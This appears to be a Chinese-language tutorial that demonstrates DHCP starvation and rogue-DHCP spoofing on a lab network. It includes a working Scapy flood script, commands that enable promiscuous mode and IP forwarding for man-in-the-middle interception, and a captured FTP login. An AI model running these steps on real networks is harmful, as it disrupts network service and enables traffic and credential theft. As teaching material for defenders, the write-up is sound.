
在链路层进行攻击时,可以跳过更高级别配置的所有防御。在本文中,我们将研究针对这一最低级别网络的两种攻击媒介 —— 耗尽 ( DHCP Starvation )和 DHCP 服务器欺骗( DHCP Spoofing )。
要理解此文章 , 你 需要具备计算机网络的背景知识,特别是要了解交换和路由的工作原理。
DHCP 耗尽
这种攻击基于分发大量 DHCPDISCOVER 消息,以耗尽 DHCP 服务器上的地址空间。 DHCP 服务器将响应每个请求并发布一个 IP 地址。一旦地址空间已满, DHCP 服务器将不再能够通过向其发布 IP 地址来为其网络上的新客户端提供服务。
DHCP
耗尽
攻击
让我们在一个小型本地网络上测试这种攻击。 DHCP 服务器已在 GW 上配置。子网 - 10.1.1.0/24 。
用于对
DHCP
进行攻击的多边形
在 Scapy 的帮助下,我们将导致虚假 DHCPDISCOVER 的分发。目标 MAC 地址和目标 IP 地址将是广播地址。
让我们添加一个 UDP 协议层,因为 DHCP 使用它。在选项模板中,我们表明我们将发送 DISCOVER DHCP 数据包
最后,我们将循环生成帧的无休止发送。
>>> malicious_dhcp_discover = Ether( src = RandMAC (), dst = "FF:FF:FF:FF:FF:FF")
>>> malicious_dhcp_discover /= IP( src = "0.0.0.0",dst = "255.255.255.255")
>>> malicious_dhcp_discover /= UDP(sport = 68, dport = 67)
>>> malicious_dhcp_discover /= BOOTP(op = 1, chaddr = RandMAC ())
>>> malicious_dhcp_discover /= DHCP(options = [('message-type', 'discover'),('end')])
>>> sendp ( malicious_dhcp_discover , iface = "eth0", loop = 1, verbose = 1)
DHCP
耗尽
期间的流量转储
DHCP
服务器地址空间溢出。第
1
部分
DHCP
服务器地址空间溢出。第
2
部分
DHCP 服务器被禁用,现在 你 可以开始创建它的虚假副本。
DHCP 欺骗
在禁用合法的 DHCP 服务器后,攻击者可以在他身边建立一个假的 DHCP 服务器,并声明它是默认网关。当 DHCP 服务器向网络上的主机发布 IP 地址时,它还会传输有关默认网关 IP 地址的信息。
因此,在设置这样的 DHCP 服务器时,我们会将我们的 IP 地址指定为默认网关。客户端通过向我们发出请求收到地址后,我们将成为他这边的默认网关,他会将他的数据包发送给我们。这为 MITM 攻击创造了理想的条件。
让我们来 来建立一个假的 DHCP 服务器。
创建一个虚假的
DHCP
服务器
伪造的
DHCP
服务器配置
现在,在 Windows 10 机器上,使用两个命令,我们将调用 IP 地址更新,也就是说,我们将尝试从我们创建的假 DHCP 服务器获取地址:
C:\Windows\system32> ipconfig / release
C:\Windows\system32> ipconfig / renew
客户端通过
DHCP
接收地址
如 你 所见,客户端收到了一个 IP 地址和有关默认网关的信息。现在 你 可以尝试拦截流量,因为所有客户端流量都会流向我们。
让我们将接口切换到混杂模式并允许在接口上转发流量:
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc
c0ldheim@PWN:~$ sudo sysctl - w net.ipv4.ip_forward = 1
结果,我们能够使用 nightmare:nightmare creds 拦截未加密的 FTP 流量。
捕获
FTP
服务器的凭据
结论
根据个人的经验, 可以说 L2 层 协议 经常没有得到应有的关注,并且在大多数情况下都使用默认配置。 这可以被黑客使用。